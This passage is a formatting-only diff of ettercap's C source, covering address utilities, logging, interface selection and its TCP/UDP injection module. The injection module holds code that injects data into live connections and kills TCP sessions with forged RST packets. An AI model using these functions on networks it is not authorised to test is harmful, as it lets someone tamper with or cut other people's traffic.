str[IP_ASCII_ADDR_LEN]; int n; - - n = snprintf(str, IP_ASCII_ADDR_LEN, "%u.%u.%u.%u", src[0], src[1], src[2], src[3]); - + + n = snprintf(str, IP_ASCII_ADDR_LEN, "%u.%u.%u.%u", src[0], src[1], src[2], src[3]); + str[n] = '\0'; - + strncpy(dst, str, size); - + return dst; } -const char * -inet_ntop6(const u_char *src, char *dst, size_t size) +const char *inet_ntop6(const u_char *src, char *dst, size_t size) { - /* - * Note that int32_t and int16_t need only be "at least" large enough - * to contain a value of the specified size. On some systems, like - * Crays, there is no such thing as an integer variable with 16 bits. - * Keep this in mind if you think this function should have been coded - * to use pointer overlays. All the world's not a VAX. - */ - char tmp[IP6_ASCII_ADDR_LEN], *tp; - struct { int base, len; } best, cur; - u_int words[NS_IN6ADDRSZ / NS_INT16SZ]; - int i; - - best.len = 0; - cur.len = 0; - - /* - * Preprocess: - * Copy the input (bytewise) array into a wordwise array. - * Find the longest run of 0x00's in src[] for :: shorthanding. - */ - memset(words, '\0', sizeof words); - for (i = 0; i < NS_IN6ADDRSZ; i += 2) - words[i / 2] = (src[i] << 8) | src[i + 1]; - best.base = -1; - cur.base = -1; - for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { - if (words[i] == 0) { - if (cur.base == -1) - cur.base = i, cur.len = 1; - else - cur.len++; - } else { - if (cur.base != -1) { - if (best.base == -1 || cur.len > best.len) - best = cur; - cur.base = -1; - } - } - } - if (cur.base != -1) { - if (best.base == -1 || cur.len > best.len) - best = cur; - } - if (best.base != -1 && best.len < 2) - best.base = -1; - - /* - * Format the result. - */ - tp = tmp; - for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { - /* Are we inside the best run of 0x00's? */ - if (best.base != -1 && i >= best.base && - i < (best.base + best.len)) { - if (i == best.base) - *tp++ = ':'; - continue; - } - /* Are we following an initial run of 0x00s or any real hex? */ - if (i != 0) - *tp++ = ':'; - /* Is this address an encapsulated IPv4? */ - if (i == 6 && best.base == 0 && - (best.len == 6 || (best.len == 5 && words[5] == 0xffff))) { - if (inet_ntop4(src+12, tp, IP_ASCII_ADDR_LEN) != 0) - return (NULL); - tp += strlen(tp); - break; - } - tp += sprintf(tp, "%x", words[i]); - } - /* Was it a trailing run of 0x00's? */ - if (best.base != -1 && (best.base + best.len) == - (NS_IN6ADDRSZ / NS_INT16SZ)) - *tp++ = ':'; - *tp++ = '\0'; - - /* - * Check for overflow, copy, and we're done. - */ - if ((size_t)(tp - tmp) > size) { - __set_errno (ENOSPC); - return (NULL); - } + /* + * Note that int32_t and int16_t need only be "at least" large enough + * to contain a value of the specified size. On some systems, like + * Crays, there is no such thing as an integer variable with 16 bits. + * Keep this in mind if you think this function should have been coded + * to use pointer overlays. All the world's not a VAX. + */ + char tmp[IP6_ASCII_ADDR_LEN], *tp; + struct { int base, len; + } best, cur; + u_int words[NS_IN6ADDRSZ / NS_INT16SZ]; + int i; + + best.len = 0; + cur.len = 0; + + /* + * Preprocess: + * Copy the input (bytewise) array into a wordwise array. + * Find the longest run of 0x00's in src[] for :: shorthanding. + */ + memset(words, '\0', sizeof words); + for (i = 0; i < NS_IN6ADDRSZ; i += 2) + words[i / 2] = (src[i] << 8) | src[i + 1]; + best.base = -1; + cur.base = -1; + for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { + if (words[i] == 0) { + if (cur.base == -1) + cur.base = i, cur.len = 1; + else + cur.len++; + } else { + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + cur.base = -1; + } + } + } + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + } + if (best.base != -1 && best.len < 2) + best.base = -1; + + /* + * Format the result. + */ + tp = tmp; + for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { + /* Are we inside the best run of 0x00's? */ + if (best.base != -1 && i >= best.base && + i < (best.base + best.len)) + { + if (i == best.base) + *tp++ = ':'; + continue; + } + /* Are we following an initial run of 0x00s or any real hex? */ + if (i != 0) + *tp++ = ':'; + /* Is this address an encapsulated IPv4? */ + if (i == 6 && best.base == 0 && + (best.len == 6 || (best.len == 5 && words[5] == 0xffff))) + { + if (inet_ntop4(src + 12, tp, IP_ASCII_ADDR_LEN) != 0) + return NULL; + tp += strlen(tp); + break; + } + tp += sprintf(tp, "%x", words[i]); + } + /* Was it a trailing run of 0x00's? */ + if (best.base != -1 && (best.base + best.len) == + (NS_IN6ADDRSZ / NS_INT16SZ)) + *tp++ = ':'; + *tp++ = '\0'; + + /* + * Check for overflow, copy, and we're done. + */ + if ((size_t)(tp - tmp) > size) { + __set_errno(ENOSPC); + return NULL; + } strncpy(dst, tmp, size); - + return dst; } @@ -333,16 +330,16 @@ int ip_addr_pton(char *str, struct ip_addr *addr) #ifdef WITH_IPV6 struct in6_addr in6addr; #endif - - if(inet_pton(AF_INET, str, &inaddr) == 1) { /* try IPv4 */ - ip_addr_init(addr, AF_INET, (u_char*)&inaddr); + + if (inet_pton(AF_INET, str, &inaddr) == 1) { /* try IPv4 */ + ip_addr_init(addr, AF_INET, (u_char *)&inaddr); return E_SUCCESS; } #ifdef WITH_IPV6 else if (inet_pton(AF_INET6, str, &in6addr) == 1) { /* try IPv6 */ - ip_addr_init(addr, AF_INET6, (u_char*)&in6addr); + ip_addr_init(addr, AF_INET6, (u_char *)&in6addr); return E_SUCCESS; - } + } #endif else { return -E_INVALID; @@ -356,16 +353,15 @@ char *mac_addr_ntoa(u_char *mac, char *dst) { char str[ETH_ASCII_ADDR_LEN]; int n; - - n = snprintf(str, ETH_ASCII_ADDR_LEN, "%02X:%02X:%02X:%02X:%02X:%02X", - mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); - + + n = snprintf(str, ETH_ASCII_ADDR_LEN, "%02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + str[n] = '\0'; - + strncpy(dst, str, ETH_ASCII_ADDR_LEN); - + return dst; - } /* @@ -376,24 +372,24 @@ int mac_addr_aton(char *str, u_char *mac) int i; u_int tmp[MEDIA_ADDR_LEN]; - i = sscanf(str, "%02X:%02X:%02X:%02X:%02X:%02X", - (u_int *)&tmp[0], (u_int *)&tmp[1], (u_int *)&tmp[2], - (u_int *)&tmp[3], (u_int *)&tmp[4], (u_int *)&tmp[5]); - + i = sscanf(str, "%02X:%02X:%02X:%02X:%02X:%02X", + (u_int *)&tmp[0], (u_int *)&tmp[1], (u_int *)&tmp[2], + (u_int *)&tmp[3], (u_int *)&tmp[4], (u_int *)&tmp[5]); + /* incorrect parsing */ if (i != MEDIA_ADDR_LEN) { memset(mac, 0, MEDIA_ADDR_LEN); return 0; } - + for (i = 0; i < MEDIA_ADDR_LEN; i++) mac[i] = (u_char)tmp[i]; - + return i; } /* - * returns 1 if the ip is a Global Unicast + * returns 1 if the ip is a Global Unicast * returns 0 if not * returns -E_INVALID if address family is unknown */ @@ -401,33 +397,33 @@ int ip_addr_is_global(struct ip_addr *ip) { switch (ntohs(ip->addr_type)) { - case AF_INET: - /* Global for IPv4 means not status "RESERVED" by IANA */ - if ( - *ip->addr != 0x0 && /* not 0/8 */ - *ip->addr != 0x7f && /* not 127/8 */ - *ip->addr != 0x0a && /* not 10/8 */ - (ntohs(*ip->addr16) & 0xfff0) != 0xac10 && /* not 172.16/12 */ - ntohs(*ip->addr16) != 0xc0a8 && /* not 192.168/16 */ - !ip_addr_is_multicast(ip) /* not 224/3 */ - ) - return 1; + case AF_INET: + /* Global for IPv4 means not status "RESERVED" by IANA */ + if ( + *ip->addr != 0x0 && /* not 0/8 */ + *ip->addr != 0x7f && /* not 127/8 */ + *ip->addr != 0x0a && /* not 10/8 */ + (ntohs(*ip->addr16) & 0xfff0) != 0xac10 && /* not 172.16/12 */ + ntohs(*ip->addr16) != 0xc0a8 && /* not 192.168/16 */ + !ip_addr_is_multicast(ip) /* not 224/3 */ + ) + return 1; break; - case AF_INET6: - /* - * as IANA does not appy masks > 8-bit for Global Unicast block, - * only the first 8-bit are significant for this test. + case AF_INET6: + /* + * as IANA does not appy masks > 8-bit for Global Unicast block, + * only the first 8-bit are significant for this test. + */ + if ((*ip->addr & 0xe0) == 0x20) { + /* + * This may be extended in future as IANA assigns further ranges + * to Global Unicast */ - if ((*ip->addr & 0xe0) == 0x20) { - /* - * This may be extended in future as IANA assigns further ranges - * to Global Unicast - */ - return 1; - } + return 1; + } break; - default: - return -E_INVALID; + default: + return -E_INVALID; } return 0; @@ -441,21 +437,21 @@ int ip_addr_is_global(struct ip_addr *ip) int ip_addr_is_multicast(struct ip_addr *ip) { - switch(ntohs(ip->addr_type)) { - case AF_INET: - if ((*ip->addr & 0xf0) == 0xe0) - return 1; + switch (ntohs(ip->addr_type)) { + case AF_INET: + if ((*ip->addr & 0xf0) == 0xe0) + return 1; break; - case AF_INET6: - if ((*ip->addr & 0xff) == 0xff) - return 1; + case AF_INET6: + if ((*ip->addr & 0xff) == 0xff) + return 1; break; - default: - return -E_INVALID; + default: + return -E_INVALID; } - return 0; + return 0; } /* @@ -464,48 +460,48 @@ int ip_addr_is_multicast(struct ip_addr *ip) */ int ip_addr_is_broadcast(struct ip_addr *sa) { - struct ip_addr *nw; - struct ip_addr *nm; - - u_int32* address; - u_int32* netmask; - u_int32* network; - u_int32 broadcast; - - switch(ntohs(sa->addr_type)) { - case AF_INET: - if(!GBL_IFACE->has_ipv4) - return -E_INVALID; - nm = &GBL_IFACE->netmask; - nw = &GBL_IFACE->network; - - /* 255.255.255.255 is definitely broadcast */ - if(!memcmp(sa->addr, "\xff\xff\xff\xff", IP_ADDR_LEN)) - return E_SUCCESS; + struct ip_addr *nw; + struct ip_addr *nm; - address = sa->addr32; - netmask = nm->addr32; - network = nw->addr32; + u_int32 *address; + u_int32 *netmask; + u_int32 *network; + u_int32 broadcast; - broadcast = (*network) | ~(*netmask); + switch (ntohs(sa->addr_type)) { + case AF_INET: + if (!GBL_IFACE->has_ipv4) + return -E_INVALID; + nm = &GBL_IFACE->netmask; + nw = &GBL_IFACE->network; - if (broadcast == *address) - return E_SUCCESS; - case AF_INET6: - if(!GBL_IFACE->has_ipv6) - return -E_INVALID; + /* 255.255.255.255 is definitely broadcast */ + if (!memcmp(sa->addr, "\xff\xff\xff\xff", IP_ADDR_LEN)) + return E_SUCCESS; - /* IPv6 has no such thing as a broadcast address. The closest - * equivalent is the multicast address ff02::1. Packets sent to that - * address are delivered to all link-local nodes. - */ - if(!memcmp(sa->addr, IP6_ALL_NODES, IP6_ADDR_LEN)) - return E_SUCCESS; - - break; - } + address = sa->addr32; + netmask = nm->addr32; + network = nw->addr32; - return -E_NOTFOUND; + broadcast = (*network) | ~(*netmask); + + if (broadcast == *address) + return E_SUCCESS; + case AF_INET6: + if (!GBL_IFACE->has_ipv6) + return -E_INVALID; + + /* IPv6 has no such thing as a broadcast address. The closest + * equivalent is the multicast address ff02::1. Packets sent to that + * address are delivered to all link-local nodes. + */ + if (!memcmp(sa->addr, IP6_ALL_NODES, IP6_ADDR_LEN)) + return E_SUCCESS; + + break; + } + + return -E_NOTFOUND; } /* @@ -520,69 +516,65 @@ int ip_addr_is_local(struct ip_addr *sa, struct ip_addr *ifaddr) { struct ip_addr *nm; struct ip_addr *nw; - struct net_list* ip6; - u_int32* address; - u_int32* netmask; - u_int32* network; + struct net_list *ip6; + u_int32 *address; + u_int32 *netmask; + u_int32 *network; unsigned int i, matched = 0; - switch (ntohs(sa->addr_type)) { - case AF_INET: - nm = &GBL_IFACE->netmask; - nw = &GBL_IFACE->network; - /* the address 0.0.0.0 is used by DHCP and it is local for us*/ - if ( !memcmp(&sa->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len)) ) - return E_SUCCESS; - - /* make a check on GBL_IFACE (is it initialized ?) */ - if ( !memcmp(&nw->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len)) ) - /* return UNKNOWN */ - return -E_INVALID; - + case AF_INET: + nm = &GBL_IFACE->netmask; + nw = &GBL_IFACE->network; + /* the address 0.0.0.0 is used by DHCP and it is local for us*/ + if (!memcmp(&sa->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len))) + return E_SUCCESS; + + /* make a check on GBL_IFACE (is it initialized ?) */ + if (!memcmp(&nw->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len))) + /* return UNKNOWN */ + return -E_INVALID; + + address = sa->addr32; + netmask = nm->addr32; + network = nw->addr32; + /* check if it is local */ + if ((*address & *netmask) == *network) { + if (ifaddr != NULL) + memcpy(ifaddr, &GBL_IFACE->ip, sizeof(*ifaddr)); + return E_SUCCESS; + } + break; + case AF_INET6: + if (!GBL_IFACE->has_ipv6) + return -E_INVALID; + LIST_FOREACH(ip6, &GBL_IFACE->ip6_list, next) { + nm = &ip6->netmask; + nw = &ip6->network; address = sa->addr32; netmask = nm->addr32; network = nw->addr32; - /* check if it is local */ - if ((*address & *netmask) == *network) { - if(ifaddr != NULL) - memcpy(ifaddr, &GBL_IFACE->ip, sizeof(*ifaddr)); - return E_SUCCESS; - } - break; - case AF_INET6: - if(!GBL_IFACE->has_ipv6) - return -E_INVALID; - LIST_FOREACH(ip6, &GBL_IFACE->ip6_list, next) { - nm = &ip6->netmask; - nw = &ip6->network; - address = sa->addr32; - netmask = nm->addr32; - network = nw->addr32; - - - for(i = 0; i < IP6_ADDR_LEN / sizeof(u_int32); i++) { - if (netmask[i] == 0) { /* no need to check further */ - break; - } - else if((address[i] & netmask[i]) != network[i]) { - matched = 0; - break; - } - else { - matched = 1; - } - } - if(ifaddr != NULL) - memcpy(ifaddr, &ip6->ip, sizeof(*ifaddr)); - - if (matched) - return E_SUCCESS; + for (i = 0; i < IP6_ADDR_LEN / sizeof(u_int32); i++) { + if (netmask[i] == 0) { /* no need to check further */ + break; + } else if ((address[i] & netmask[i]) != network[i]) { + matched = 0; + break; + } else { + matched = 1; + } } - - break; - }; + + if (ifaddr != NULL) + memcpy(ifaddr, &ip6->ip, sizeof(*ifaddr)); + + if (matched) + return E_SUCCESS; + } + + break; + } return -E_NOTFOUND; } @@ -590,22 +582,22 @@ int ip_addr_is_local(struct ip_addr *sa, struct ip_addr *ifaddr) int ip_addr_is_ours(struct ip_addr *ip) { struct net_list *i; - switch(ntohs(ip->addr_type)) { - case AF_INET: - if(!ip_addr_cmp(ip, &GBL_IFACE->ip)) - return E_FOUND; - else if(!ip_addr_cmp(ip, &GBL_BRIDGE->ip)) - return E_BRIDGE; - else - return -E_NOTFOUND; - break; - - case AF_INET6: - LIST_FOREACH(i, &GBL_IFACE->ip6_list, next) { - if(!ip_addr_cmp(ip, &i->ip)) - return E_FOUND; - } + switch (ntohs(ip->addr_type)) { + case AF_INET: + if (!ip_addr_cmp(ip, &GBL_IFACE->ip)) + return E_FOUND; + else if (!ip_addr_cmp(ip, &GBL_BRIDGE->ip)) + return E_BRIDGE; + else return -E_NOTFOUND; + break; + + case AF_INET6: + LIST_FOREACH(i, &GBL_IFACE->ip6_list, next) { + if (!ip_addr_cmp(ip, &i->ip)) + return E_FOUND; + } + return -E_NOTFOUND; } return -E_INVALID; @@ -616,42 +608,42 @@ int ip_addr_get_network(struct ip_addr *ip, struct ip_addr *netmask, struct ip_a u_int32 ip4; u_int32 ip6[IP6_ADDR_LEN / sizeof(u_int32)]; - if(ntohs(ip->addr_type) != ntohs(netmask->addr_type)) + if (ntohs(ip->addr_type) != ntohs(netmask->addr_type)) return -E_INVALID; - switch(ntohs(ip->addr_type)) { - case AF_INET: - ip4 = *ip->addr32 & *netmask->addr32; - ip_addr_init(network, AF_INET, (u_char*)&ip4); - break; - case AF_INET6: - ip6[0] = ip->addr32[0] & netmask->addr32[0]; - ip6[1] = ip->addr32[1] & netmask->addr32[1]; - ip6[2] = ip->addr32[2] & netmask->addr32[2]; - ip6[3] = ip->addr32[3] & netmask->addr32[3]; - ip_addr_init(network, AF_INET6, (u_char*)&ip6); - break; - default: - BUG("Invalid addr_type"); - return -E_INVALID; - break; + switch (ntohs(ip->addr_type)) { + case AF_INET: + ip4 = *ip->addr32 & *netmask->addr32; + ip_addr_init(network, AF_INET, (u_char *)&ip4); + break; + case AF_INET6: + ip6[0] = ip->addr32[0] & netmask->addr32[0]; + ip6[1] = ip->addr32[1] & netmask->addr32[1]; + ip6[2] = ip->addr32[2] & netmask->addr32[2]; + ip6[3] = ip->addr32[3] & netmask->addr32[3]; + ip_addr_init(network, AF_INET6, (u_char *)&ip6); + break; + default: + BUG("Invalid addr_type"); + return -E_INVALID; + break; } return E_SUCCESS; } -int ip_addr_get_prefix(struct ip_addr* netmask) +int ip_addr_get_prefix(struct ip_addr *netmask) { size_t s; unsigned int i; int prefix = 0; - u_int32* mask; + u_int32 *mask; u_int32 x; s = ntohs(netmask->addr_len) / sizeof(u_int32); mask = netmask->addr32; - for(i = 0; i < s; i++) { + for (i = 0; i < s; i++) { x = mask[i]; x -= (x >> 1) & 0x55555555; x = (x & 0x33333333) + ((x >> 2) & 0x33333333); @@ -664,4 +656,3 @@ int ip_addr_get_prefix(struct ip_addr* netmask) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_inject.c b/src/ec_inject.c index bf3ee2a66..becb9ee31 100644 --- a/src/ec_inject.c +++ b/src/ec_inject.c @@ -1,23 +1,23 @@ /* - ettercap -- TCP/UDP injection module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- TCP/UDP injection module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,16 +26,15 @@ #include /* globals */ -static SLIST_HEAD (, inj_entry) injectors_table; +static SLIST_HEAD(, inj_entry) injectors_table; struct inj_entry { u_int32 type; u_int8 level; FUNC_INJECTOR_PTR(injector); - SLIST_ENTRY (inj_entry) next; + SLIST_ENTRY(inj_entry) next; }; - /* proto */ size_t inject_protocol(struct packet_object *po); @@ -43,7 +42,7 @@ size_t inject_protocol(struct packet_object *po); /*******************************************/ /* - * add an injector to the injector table + * add an injector to the injector table */ void add_injector(u_int8 level, u_int32 type, FUNC_INJECTOR_PTR(injector)) { @@ -55,50 +54,48 @@ void add_injector(u_int8 level, u_int32 type, FUNC_INJECTOR_PTR(injector)) e->type = type; e->injector = injector; - SLIST_INSERT_HEAD (&injectors_table, e, next); - + SLIST_INSERT_HEAD(&injectors_table, e, next); + return; } /* - * get an injector from the injector table + * get an injector from the injector table */ -void * get_injector(u_int8 level, u_int32 type) +void *get_injector(u_int8 level, u_int32 type) { struct inj_entry *e; - - SLIST_FOREACH (e, &injectors_table, next) { - if (e->level == level && e->type == type) + + SLIST_FOREACH(e, &injectors_table, next) { + if (e->level == level && e->type == type) return (void *)e->injector; } return NULL; } - size_t inject_protocol(struct packet_object *po) { FUNC_INJECTOR_PTR(injector); size_t len = 0; - + injector = get_injector(CHAIN_ENTRY, po->L4.proto); - - if (injector == NULL) + + if (injector == NULL) return 0; /* Start the injector chain */ if (injector(po, &len) == E_SUCCESS) return len; - + /* if there's an error */ - return 0; + return 0; } - /* * the idea is that the application will pass a buffer - * and a len, and this function will split up the + * and a len, and this function will split up the * buffer to fit the MTU and inject the resulting packet(s). */ int inject_buffer(struct packet_object *po) @@ -111,29 +108,29 @@ int inject_buffer(struct packet_object *po) * - (tcp/udp) port source and dest * all the field have to be filled in and the buffer * has to be alloc'd - */ + */ struct packet_object *pd; size_t injected; u_char *pck_buf; int ret = E_SUCCESS; - + /* we can't inject in unoffensive mode or in bridge mode */ if (GBL_OPTIONS->unoffensive || GBL_OPTIONS->read || GBL_OPTIONS->iface_bridge) { return -E_INVALID; } - + /* Duplicate the packet to modify the payload buffer */ pd = packet_dup(po, PO_DUP_NONE); /* Allocate memory for the packet (double sized)*/ SAFE_CALLOC(pck_buf, 1, (GBL_IFACE->mtu * 2)); - + /* Loop until there's data to send */ do { - /* + /* * Slide to middle. First part is for header's stack'ing. - * Second part is for packet data. + * Second part is for packet data. */ pd->packet = pck_buf + GBL_IFACE->mtu; @@ -144,30 +141,30 @@ int inject_buffer(struct packet_object *po) ret = -E_NOTHANDLED; break; } - - /* Send on the wire */ + + /* Send on the wire */ send_to_L3(pd); /* Ready to inject the rest */ pd->DATA.inject_len -= injected; pd->DATA.inject += injected; } while (pd->DATA.inject_len); - + /* we cannot use packet_object_destroy because * the packet is not yet in the queue to tophalf. * so we have to free the duplicates by hand. - */ + */ SAFE_FREE(pck_buf); SAFE_FREE(pd->DATA.disp_data); SAFE_FREE(pd); - + return ret; } -void inject_split_data(struct packet_object *po) +void inject_split_data(struct packet_object *po) { size_t max_len; - + max_len = GBL_IFACE->mtu - (po->L4.header - (po->packet + po->L2.len) + po->L4.len); /* the packet has exceeded the MTU */ @@ -176,7 +173,7 @@ void inject_split_data(struct packet_object *po) po->DATA.inject_len = po->DATA.len - max_len; po->DATA.delta -= po->DATA.len - max_len; po->DATA.len = max_len; - } + } } /* @@ -193,9 +190,9 @@ int user_kill(struct conn_object *co) /* we can kill only tcp connection */ if (co->L4_proto != NL_TYPE_TCP) return -E_FATAL; - + DEBUG_MSG("user_kill"); - + /* prepare the fake packet object */ memcpy(&po.L3.src, &co->L3_addr1, sizeof(struct ip_addr)); memcpy(&po.L3.dst, &co->L3_addr2, sizeof(struct ip_addr)); @@ -209,18 +206,18 @@ int user_kill(struct conn_object *co) /* get the session */ if (session_get(&s, ident, ident_len) == -E_NOTFOUND) { - SAFE_FREE(ident); + SAFE_FREE(ident); return -E_INVALID; } - + DEBUG_MSG("user_kill: session found"); - + /* Select right comunication way */ direction = tcp_find_direction(s->ident, ident); - SAFE_FREE(ident); + SAFE_FREE(ident); status = (struct tcp_status *)s->data; - + /* send the reset. at least one should work */ send_tcp(&po.L3.src, &po.L3.dst, po.L4.src, po.L4.dst, htonl(status->way[!direction].last_ack), 0, TH_RST, NULL, 0); send_tcp(&po.L3.dst, &po.L3.src, po.L4.dst, po.L4.src, htonl(status->way[direction].last_ack), 0, TH_RST, NULL, 0); @@ -234,7 +231,7 @@ int user_kill(struct conn_object *co) int user_inject(u_char *buf, size_t size, struct conn_object *co, int which) { struct packet_object po; - + DEBUG_MSG("user_inject"); /* prepare the fake packet object */ @@ -252,13 +249,13 @@ int user_inject(u_char *buf, size_t size, struct conn_object *co, int which) po.L4.src = co->L4_addr2; } po.L4.proto = co->L4_proto; - + po.DATA.inject = buf; po.DATA.inject_len = size; po.packet = NULL; po.DATA.disp_data = NULL; - + /* do the dirty job */ inject_buffer(&po); @@ -271,4 +268,3 @@ int user_inject(u_char *buf, size_t size, struct conn_object *co, int which) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_interfaces.c b/src/ec_interfaces.c index 7bf579185..d4de4396d 100644 --- a/src/ec_interfaces.c +++ b/src/ec_interfaces.c @@ -1,31 +1,31 @@ /* - ettercap -- GUI management - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GUI management + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #ifdef HAVE_NCURSES - #include +#include #endif #include #if defined HAVE_GTK || defined HAVE_GTK3 - #include +#include #endif #include @@ -35,30 +35,29 @@ void select_daemon_interface(void) { DEBUG_MSG("select_daemon_interface"); - + set_daemon_interface(); } void select_text_interface(void) { DEBUG_MSG("select_text_interface"); - + set_text_interface(); } void select_curses_interface(void) { DEBUG_MSG("select_curses_interface"); -#ifdef HAVE_NCURSES +#ifdef HAVE_NCURSES /* check if the stdout is available */ if (isatty(fileno(stdout)) <= 0) FATAL_ERROR("Cannot use Curses if stdout is redirected"); - + set_curses_interface(); #else FATAL_ERROR("Curses support not compiled in %s", GBL_PROGRAM); #endif - } void select_gtk_interface(void) @@ -73,6 +72,4 @@ void select_gtk_interface(void) /* EOF */ - // vim:ts=3:expandtab - diff --git a/src/ec_log.c b/src/ec_log.c index 25284a123..3606e268e 100644 --- a/src/ec_log.c +++ b/src/ec_log.c @@ -1,23 +1,23 @@ /* - ettercap -- log handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- log handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -40,22 +40,21 @@ /* zero is formally a valid value for an opened file descriptor * so we need a custom initializer */ -static struct log_fd fdp = {0, NULL, -1}; -static struct log_fd fdi = {0, NULL, -1}; +static struct log_fd fdp = { 0, NULL, -1 }; +static struct log_fd fdi = { 0, NULL, -1 }; /* protos */ - static void log_packet(struct packet_object *po); static void log_info(struct packet_object *po); static pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER; -#define LOG_LOCK do{ pthread_mutex_lock(&log_mutex); } while(0) -#define LOG_UNLOCK do{ pthread_mutex_unlock(&log_mutex); } while(0) +#define LOG_LOCK do { pthread_mutex_lock(&log_mutex); } while (0) +#define LOG_UNLOCK do { pthread_mutex_unlock(&log_mutex); } while (0) /************************************************/ -/* +/* * this function is executed at high privs. * open the file descriptor for later use * and set the log level @@ -65,19 +64,19 @@ static pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER; int set_loglevel(int level, char *filename) { - char eci[strlen(filename)+5]; - char ecp[strlen(filename)+5]; - + char eci[strlen(filename) + 5]; + char ecp[strlen(filename) + 5]; + /* close any previously opened file */ log_stop(); - + /* if we want to stop logging, return here */ if (level == LOG_STOP) { DEBUG_MSG("set_loglevel: stopping the log process"); return E_SUCCESS; } - - DEBUG_MSG("set_loglevel(%d, %s)", level, filename); + + DEBUG_MSG("set_loglevel(%d, %s)", level, filename); /* all the host type will be unknown, warn the user */ if (GBL_OPTIONS->read) { @@ -87,63 +86,63 @@ int set_loglevel(int level, char *filename) USER_MSG("the NIC may have been changed from the time of the dump. \n"); USER_MSG("*********************************************************\n\n"); } - - snprintf(eci, strlen(filename)+5, "%s.eci", filename); - snprintf(ecp, strlen(filename)+5, "%s.ecp", filename); - + + snprintf(eci, strlen(filename) + 5, "%s.eci", filename); + snprintf(ecp, strlen(filename) + 5, "%s.ecp", filename); + memset(&fdp, 0, sizeof(struct log_fd)); memset(&fdi, 0, sizeof(struct log_fd)); /* open the file(s) */ - switch(level) { - - case LOG_PACKET: - if (GBL_OPTIONS->compress) { - fdp.type = LOG_COMPRESSED; - } else { - fdp.type = LOG_UNCOMPRESSED; - } - - /* create the file */ - if (log_open(&fdp, ecp) != E_SUCCESS) - return -E_FATAL; - - /* initialize the log file */ - log_write_header(&fdp, LOG_PACKET); - - /* add the hook point to DISPATCHER */ - hook_add(HOOK_DISPATCHER, &log_packet); - - /* no break here, loglevel is incremental */ - - case LOG_INFO: - if (GBL_OPTIONS->compress) { - fdi.type = LOG_COMPRESSED; - } else { - fdi.type = LOG_UNCOMPRESSED; - } - - /* create the file */ - if (log_open(&fdi, eci) != E_SUCCESS) - return -E_FATAL; - - /* initialize the log file */ - log_write_header(&fdi, LOG_INFO); - - /* add the hook point to 